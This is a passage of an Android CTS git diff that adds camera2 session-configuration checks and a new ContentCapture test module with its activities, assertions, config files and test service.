+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -36,6 +36,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
import android.util.Log;
import android.util.Pair;
import android.util.Range;
@@ -525,6 +526,12 @@
}
}
+ // Check whether session configuration is supported
+ assertTrue("Deferred session configuration query failed",
+ CameraTestUtils.checkSessionConfiguration(mCamera, mHandler, outputSurfaces,
+ /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+ /*expectedResult*/ true));
+
// Create session
BlockingSessionCallback sessionListener =
diff --git a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
index 773728d..4eb1543 100644
--- a/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
+++ b/tests/camera/src/android/hardware/camera2/cts/testcases/Camera2MultiViewTestCase.java
@@ -35,6 +35,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
import android.hardware.camera2.params.OutputConfiguration;
+import android.hardware.camera2.params.SessionConfiguration;
import android.os.ConditionVariable;
import android.os.Handler;
import android.os.HandlerThread;
@@ -292,6 +293,13 @@
camera.updateOutputConfiguration(config);
}
+ protected boolean isSessionConfigurationSupported(String cameraId,
+ List<OutputConfiguration> configs) {
+ CameraHolder camera = getCameraHolder(cameraId);
+ assertTrue("Camera " + cameraId + " is not opened", camera.isOpened());
+ return camera.isSessionConfigurationSupported(configs);
+ }
+
protected void capture(String cameraId, CaptureRequest request, CaptureCallback listener)
throws Exception {
CameraHolder camera = getCameraHolder(cameraId);
@@ -529,6 +537,10 @@
public int startPreviewWithConfigs(List<OutputConfiguration> outputConfigs,
CaptureCallback listener)
throws Exception {
+ assertTrue("Session configuration query should not fail",
+ checkSessionConfiguration(mCamera, mHandler, outputConfigs,
+ /*inputConfig*/ null, SessionConfiguration.SESSION_REGULAR,
+ /*expectedResult*/ true));
createSessionWithConfigs(outputConfigs);
CaptureRequest.Builder captureBuilder =
@@ -559,6 +571,12 @@
mSession.updateOutputConfiguration(config);
}
+ public boolean isSessionConfigurationSupported(List<OutputConfiguration> configs) {
+ return checkSessionConfiguration(mCamera, mHandler, configs,
+ /*inputConig*/ null, SessionConfiguration.SESSION_REGULAR,
+ /*expectedResult*/ true);
+ }
+
public void capture(CaptureRequest request, CaptureCallback listener)
throws Exception {
mSession.capture(request, listener, mHandler);
diff --git a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
index c0afc49..9f12cb7 100644
--- a/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
+++ b/tests/camera/utils/src/android/hardware/camera2/cts/CameraTestUtils.java
@@ -2503,4 +2503,48 @@
return false;
}
}
+
+ /*
+ * Query whether a particular stream combination is supported.
+ */
+ public static boolean checkSessionConfigurationWithSurfaces(CameraDevice camera,
+ Handler handler, List<Surface> outputSurfaces, InputConfiguration inputConfig,
+ int operatingMode, boolean expectedResult) {
+ List<OutputConfiguration> outConfigurations = new ArrayList<>(outputSurfaces.size());
+ for (Surface surface : outputSurfaces) {
+ outConfigurations.add(new OutputConfiguration(surface));
+ }
+
+ return checkSessionConfiguration(camera, handler, outConfigurations, inputConfig,
+ operatingMode, expectedResult);
+ }
+
+ /*
+ * Query whether a particular stream combination is supported.
+ */
+ public static boolean checkSessionConfiguration(CameraDevice camera, Handler handler,
+ List<OutputConfiguration> outputConfigs, InputConfiguration inputConfig,
+ int operatingMode, boolean expectedResult) {
+ boolean ret;
+ BlockingSessionCallback sessionListener = new BlockingSessionCallback();
+
+ SessionConfiguration sessionConfig = new SessionConfiguration(operatingMode, outputConfigs,
+ new HandlerExecutor(handler), sessionListener);
+ if (inputConfig != null) {
+ sessionConfig.setInputConfiguration(inputConfig);
+ }
+
+ try {
+ ret = camera.isSessionConfigurationSupported(sessionConfig);
+ } catch (UnsupportedOperationException e) {
+ // Camera doesn't support session configuration query, return expected result
+ return true;
+ } catch (IllegalArgumentException e) {
+ return false;
+ } catch (android.hardware.camera2.CameraAccessException e) {
+ return false;
+ }
+
+ return !(expectedResult ^ ret);
+ }
}
diff --git a/tests/contentcaptureservice/Android.mk b/tests/contentcaptureservice/Android.mk
new file mode 100644
index 0000000..48254ef
--- /dev/null
+++ b/tests/contentcaptureservice/Android.mk
@@ -0,0 +1,40 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target.
+LOCAL_MODULE_TAGS := optional
+
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ androidx.annotation_annotation \
+ compatibility-device-util \
+ ctstestrunner \
+ truth-prebuilt
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+
+LOCAL_PACKAGE_NAME := CtsContentCaptureServiceTestCases
+
+LOCAL_SDK_VERSION := system_current
+
+include $(BUILD_CTS_PACKAGE)
diff --git a/tests/contentcaptureservice/AndroidManifest.xml b/tests/contentcaptureservice/AndroidManifest.xml
new file mode 100644
index 0000000..abc87bf9
--- /dev/null
+++ b/tests/contentcaptureservice/AndroidManifest.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.contentcaptureservice.cts"
+ android:targetSandboxVersion="2">
+
+ <application>
+
+ <uses-library android:name="android.test.runner" />
+
+ <activity android:name=".BlankActivity"
+ android:label="Blank"
+ android:taskAffinity=".BlankActivity"
+ android:theme="@android:style/Theme.NoTitleBar">
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ <activity android:name=".LoginActivity"
+ android:label="Login"
+ android:taskAffinity=".LoginActivity"
+ android:theme="@android:style/Theme.NoTitleBar">
+ <intent-filter>
+ <!-- This intent filter is not really needed by CTS, but it makes easier to launch
+ this app during CTS development... -->
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+
+ <service
+ android:name=".CtsSmartSuggestionsService"
+ android:label="CtsSmartSuggestionsService"
+ android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+ <intent-filter>
+ <action android:name="android.service.contentcapture.ContentCaptureService" />
+ </intent-filter>
+ </service>
+
+ </application>
+
+ <instrumentation
+ android:name="android.support.test.runner.AndroidJUnitRunner"
+ android:label="CTS tests for the AutoFill Framework APIs."
+ android:targetPackage="android.contentcaptureservice.cts" >
+ </instrumentation>
+
+</manifest>
diff --git a/tests/contentcaptureservice/AndroidTest.xml b/tests/contentcaptureservice/AndroidTest.xml
new file mode 100644
index 0000000..782a5b1
--- /dev/null
+++ b/tests/contentcaptureservice/AndroidTest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for ContentCapture CTS tests.">
+ <option name="test-suite-tag" value="cts" />
+ <option name="config-descriptor:metadata" key="component" value="framework" />
+
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsContentCaptureServiceTestCases.apk" />
+ </target_preparer>
+
+ <!-- TODO(b/119638958): add preparer for instant-apps tests -->
+
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest">
+ <option name="package" value="android.contentcaptureservice.cts" />
+ <!-- 20x default timeout of 600sec -->
+ <option name="shell-timeout" value="12000000"/>
+ </test>
+
+</configuration>
diff --git a/tests/contentcaptureservice/res/layout/login_activity.xml b/tests/contentcaptureservice/res/layout/login_activity.xml
new file mode 100644
index 0000000..1164b4f
--- /dev/null
+++ b/tests/contentcaptureservice/res/layout/login_activity.xml
@@ -0,0 +1,50 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ android:id="@+id/root_view"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:focusable="true"
+ android:focusableInTouchMode="true"
+ android:orientation="vertical" >
+
+ <TextView
+ android:id="@+id/username_label"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Username" />
+
+ <EditText
+ android:id="@+id/username"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content" />
+
+ <TextView
+ android:id="@+id/password_label"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Password" />
+
+ <EditText
+ android:id="@+id/password"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:inputType="textPassword" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
index 14dbf6b..a50141f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,13 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+package android.contentcaptureservice.cts;
-package android.security.cts;
+import android.app.Activity;
-import android.platform.test.annotations.SecurityTest;
+/**
+ * Base class for all activities.
+ */
+abstract class AbstractContentCaptureActivity extends Activity {
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
- }
- }
}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
new file mode 100644
index 0000000..ee0ec57
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/AbstractContentCaptureIntegrationTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.GENERIC_TIMEOUT_MS;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.resetService;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.Application;
+import android.content.Context;
+import android.content.Intent;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/**
+ * Base class for all (or most :-) integration tests in this CTS suite.
+ */
+@RunWith(AndroidJUnit4.class)
+public abstract class AbstractContentCaptureIntegrationTest
+ <A extends AbstractContentCaptureActivity> {
+
+ protected static final Context sContext = InstrumentationRegistry.getTargetContext();
+
+ @Rule
+ public final RuleChain mLookAllTheseRules = RuleChain
+ .outerRule(getActivityTestRule());
+
+ protected ActivitiesWatcher mActivitiesWatcher;
+
+ private final Class<A> mActivityClass;
+
+ protected AbstractContentCaptureIntegrationTest(@NonNull Class<A> activityClass) {
+ mActivityClass = activityClass;
+ }
+
+ @BeforeClass
+ public static void checkSupported() {
+ // TODO(b/119638958): use a @Rule to skip it and/or check for the Global Settings directly
+ final String checkService = runShellCommand("service check content_capture").trim();
+ final boolean notSupported = checkService.contains("not found");
+ if (notSupported) {
+ final String msg = "Skipping test because Content Capture is not supported on device";
+ Log.i(TAG, msg);
+ assumeFalse(msg, notSupported);
+ return;
+ }
+ }
+
+ @Before
+ public void registerLifecycleCallback() {
+ Log.d(TAG, "Registering lifecycle callback");
+ final Application app = (Application) sContext.getApplicationContext();
+ mActivitiesWatcher = new ActivitiesWatcher(GENERIC_TIMEOUT_MS);
+ app.registerActivityLifecycleCallbacks(mActivitiesWatcher);
+ }
+
+ @After
+ public void unregisterLifecycleCallback() {
+ if (mActivitiesWatcher != null) {
+ Log.d(TAG, "Unregistering lifecycle callback");
+ final Application app = (Application) sContext.getApplicationContext();
+ app.unregisterActivityLifecycleCallbacks(mActivitiesWatcher);
+ }
+ }
+
+ @After
+ public void restoreDefaultService() {
+ resetService();
+ }
+
+ /**
+ * Gets the {@link ActivityTestRule} use to launch this activity.
+ *
+ * <p><b>NOTE: </b>implementation must return a static singleton, otherwise it might be
+ * {@code null} when used it in this class' {@code @Rule}
+ */
+ protected abstract ActivityTestRule<A> getActivityTestRule();
+
+ protected A launchActivity() {
+ Log.d(TAG, "Launching " + mActivityClass.getSimpleName());
+
+ return getActivityTestRule().launchActivity(new Intent(sContext, mActivityClass));
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
new file mode 100644
index 0000000..8b7601b
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Assertions.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.MY_EPOCH;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_APPEARED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_VIEW_DISAPPEARED;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.Activity;
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ViewNode;
+import android.widget.TextView;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+/**
+ * Helper for common assertions.
+ */
+final class Assertions {
+
+ /**
+ * Asserts a session belongs to the right activity.
+ */
+ public static void assertRightActivity(@NonNull Session session, @NonNull Activity activity) {
+ assertWithMessage("wrong activity for %s", session)
+ .that(session.context.getActivityComponent())
+ .isEqualTo(activity.getComponentName());
+ }
+
+ /**
+ * Asserts an activity lifecycle event.
+ *
+ * @deprecated most like activity lifecycle events will go away.
+ */
+ @Deprecated
+ public static void assertLifecycleEvent(@NonNull ContentCaptureEvent event, int expected) {
+ assertWithMessage("wrong event: %s", event).that(event.getType()).isEqualTo(expected);
+ }
+
+ /**
+ * Asserts the contents of a {@link #TYPE_VIEW_APPEARED} event.
+ */
+ public static void assertViewAppeared(@NonNull ContentCaptureEvent event,
+ @NonNull View expectedView, @Nullable AutofillId expectedParentId) {
+ assertWithMessage("wrong event: %s", event).that(event.getType())
+ .isEqualTo(TYPE_VIEW_APPEARED);
+ final ViewNode node = event.getViewNode();
+ assertThat(node).isNotNull();
+ assertWithMessage("invalid time on %s", event).that(event.getEventTime())
+ .isAtLeast(MY_EPOCH);
+ assertWithMessage("wrong class on %s", node).that(node.getClassName())
+ .isEqualTo(expectedView.getClass().getName());
+ assertWithMessage("wrong autofill id on %s", node).that(node.getAutofillId())
+ .isEqualTo(expectedView.getAutofillId());
+ assertWithMessage("wrong parent autofill id on %s", node).that(node.getParentAutofillId())
+ .isEqualTo(expectedParentId);
+ if (expectedView instanceof TextView) {
+ assertWithMessage("wrong text id on %s", node).that(node.getText().toString())
+ .isEqualTo(((TextView) expectedView).getText().toString());
+ }
+ // TODO(b/119638958): test more fields, like resource id
+ }
+
+ /**
+ * Asserts the contents of a {@link #TYPE_VIEW_DISAPPEARED} event.
+ */
+ public static void assertViewDisappeared(@NonNull ContentCaptureEvent event,
+ @NonNull AutofillId expectedId) {
+ assertWithMessage("wrong event: %s", event).that(event.getType())
+ .isEqualTo(TYPE_VIEW_DISAPPEARED);
+ assertWithMessage("invalid time on %s", event).that(event.getEventTime())
+ .isAtLeast(MY_EPOCH);
+ assertWithMessage("event %s should not have a ViewNode", event).that(event.getViewNode())
+ .isNull();
+ assertWithMessage("event %s should not have text", event).that(event.getText())
+ .isNull();
+ assertWithMessage("event %s should not have flags", event).that(event.getFlags())
+ .isEqualTo(0);
+ assertWithMessage("event %s should not have a ViewNode", event).that(event.getViewNode())
+ .isNull();
+ assertWithMessage("wrong autofillId on event %s", event).that(event.getId())
+ .isEqualTo(expectedId);
+ }
+
+ private Assertions() {
+ throw new UnsupportedOperationException("contain static methods only");
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
copy to tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
index 14dbf6b..6fd9c2a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_08.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivity.java
@@ -1,4 +1,4 @@
-/**
+/*
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,20 +13,8 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
+package android.contentcaptureservice.cts;
-package android.security.cts;
+public class BlankActivity extends AbstractContentCaptureActivity {
-import android.platform.test.annotations.SecurityTest;
-
-@SecurityTest
-public class Poc16_08 extends SecurityTestCase {
- /**
- * b/28026365
- */
- @SecurityTest(minPatchLevel = "2016-08")
- public void testPocCVE_2016_2504() throws Exception {
- if (containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- AdbUtils.runPoc("CVE-2016-2504", getDevice(), 60);
- }
- }
}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
new file mode 100644
index 0000000..9a7b071
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/BlankActivityTest.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertLifecycleEvent;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.enableService;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_PAUSED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STARTED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STOPPED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityWatcher;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.contentcapture.ContentCaptureEvent;
+
+import org.junit.Test;
+
+import java.util.List;
+
+public class BlankActivityTest extends AbstractContentCaptureIntegrationTest<BlankActivity> {
+
+ private static final ActivityTestRule<BlankActivity> sActivityRule = new ActivityTestRule<>(
+ BlankActivity.class, false, false);
+
+ public BlankActivityTest() {
+ super(BlankActivity.class);
+ }
+
+ @Override
+ protected ActivityTestRule<BlankActivity> getActivityTestRule() {
+ return sActivityRule;
+ }
+
+ // TODO(b/119638958): rename once we add moar tests
+ @Test
+ public void testIt() throws Exception {
+ enableService();
+
+ // TODO(b/119638958): move to super class
+ final ActivityWatcher watcher = mActivitiesWatcher.watch(BlankActivity.class);
+
+ final BlankActivity activity = launchActivity();
+ watcher.waitFor(RESUMED);
+
+ activity.finish();
+ watcher.waitFor(DESTROYED);
+
+ final CtsSmartSuggestionsService service = CtsSmartSuggestionsService.getInstance();
+ try {
+ final Session session = service.getFinishedSession(BlankActivity.class);
+
+ assertRightActivity(session, activity);
+
+ final List<ContentCaptureEvent> events = session.getEvents();
+ Log.v(TAG, "events: " + events);
+ assertThat(events).hasSize(4);
+ assertLifecycleEvent(events.get(0), TYPE_ACTIVITY_STARTED);
+ assertLifecycleEvent(events.get(1), TYPE_ACTIVITY_RESUMED);
+ assertLifecycleEvent(events.get(2), TYPE_ACTIVITY_PAUSED);
+ assertLifecycleEvent(events.get(3), TYPE_ACTIVITY_STOPPED);
+ } finally {
+ // TODO(b/119638958): move to @Rule SafeCleaner
+ CtsSmartSuggestionsService.assertNoExceptions();
+ }
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java
new file mode 100644
index 0000000..0983108
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CtsSmartSuggestionsService.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
+import static android.contentcaptureservice.cts.Helper.await;
+
+import android.app.Activity;
+import android.service.contentcapture.ContentCaptureEventsRequest;
+import android.service.contentcapture.ContentCaptureService;
+import android.service.contentcapture.InteractionContext;
+import android.service.contentcapture.InteractionSessionId;
+import android.util.ArrayMap;
+import android.util.Log;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+// TODO(b/119638958): if we don't move this service to a separate package, we need to handle the
+// onXXXX methods in a separate thread
+// Either way, we need to make sure its methods are thread safe
+public class CtsSmartSuggestionsService extends ContentCaptureService {
+
+ private static final String TAG = CtsSmartSuggestionsService.class.getSimpleName();
+
+ public static final String SERVICE_NAME = MY_PACKAGE + "/."
+ + CtsSmartSuggestionsService.class.getSimpleName();
+
+ private static final CountDownLatch sInstanceLatch = new CountDownLatch(1);
+
+ private static CtsSmartSuggestionsService sInstance;
+
+ // TODO(b/119638958): add method to clear static state / call it from @Before
+ private static final ArrayList<Throwable> sExceptions = new ArrayList<>();
+
+ public static CtsSmartSuggestionsService getInstance() throws InterruptedException {
+ await(sInstanceLatch, "Service not started");
+ return sInstance;
+ }
+
+ private final ArrayMap<InteractionSessionId, Session> mOpenSessions = new ArrayMap<>();
+ private final ArrayMap<String, Session> mFinishedSessions = new ArrayMap<>();
+ private final ArrayMap<String, CountDownLatch> mUnfinishedSessionLatches = new ArrayMap<>();
+
+ @Override
+ public void onCreate() {
+ Log.d(TAG, "onCreate(): sInstance=" + sInstance);
+ super.onCreate();
+
+ if (sInstance == null) {
+ sInstance = this;
+ sInstanceLatch.countDown();
+ } else {
+ Log.e(TAG, "onCreate(): already created:" + sInstance);
+ sExceptions.add(new IllegalStateException("onCreate() again"));
+ }
+ }
+
+ @Override
+ public void onDestroy() {
+ Log.d(TAG, "onDestroy(): sInstance=" + sInstance);
+ super.onDestroy();
+
+ if (this == sInstance) {
+ sInstance = null;
+ }
+ }
+
+ @Override
+ public void onCreateInteractionSession(InteractionContext context,
+ InteractionSessionId sessionId) {
+ Log.d(TAG, "onCreateInteractionSession(ctx=" + context + ", id=" + sessionId + ")");
+
+ safeRun(() -> {
+ final Session session = mOpenSessions.get(sessionId);
+ if (session != null) {
+ throw new IllegalStateException("Already contains session for " + sessionId
+ + ": " + session);
+ }
+ mUnfinishedSessionLatches.put(context.getActivityComponent().getClassName(),
+ new CountDownLatch(1));
+ mOpenSessions.put(sessionId, new Session(sessionId, context));
+ });
+ }
+
+ @Override
+ public void onDestroyInteractionSession(InteractionSessionId sessionId) {
+ Log.d(TAG, "onDestroyInteractionSession(" + sessionId + ")");
+ safeRun(() -> {
+ final Session session = getExistingSession(sessionId);
+ session.finished = true;
+ mOpenSessions.remove(sessionId);
+ final String className = session.context.getActivityComponent().getClassName();
+ if (mFinishedSessions.containsKey(className)) {
+ throw new IllegalStateException("Already destroyed " + className);
+ } else {
+ mFinishedSessions.put(className, session);
+ final CountDownLatch latch = getUnfinishedSessionLatch(className);
+ latch.countDown();
+ }
+ });
+ }
+
+ @Override
+ public void onContentCaptureEventsRequest(InteractionSessionId sessionId,
+ ContentCaptureEventsRequest request) {
+ final List<ContentCaptureEvent> events = request.getEvents();
+ final int size = events.size();
+ Log.d(TAG, "onContentCaptureEventsRequest(" + sessionId + "): " + size + " events");
+ for (int i = 0; i < size; i++) {
+ final ContentCaptureEvent event = events.get(i);
+ final StringBuilder msg = new StringBuilder(" ").append(i).append(": ").append(event);
+ final ViewNode node = event.getViewNode();
+ if (node != null) {
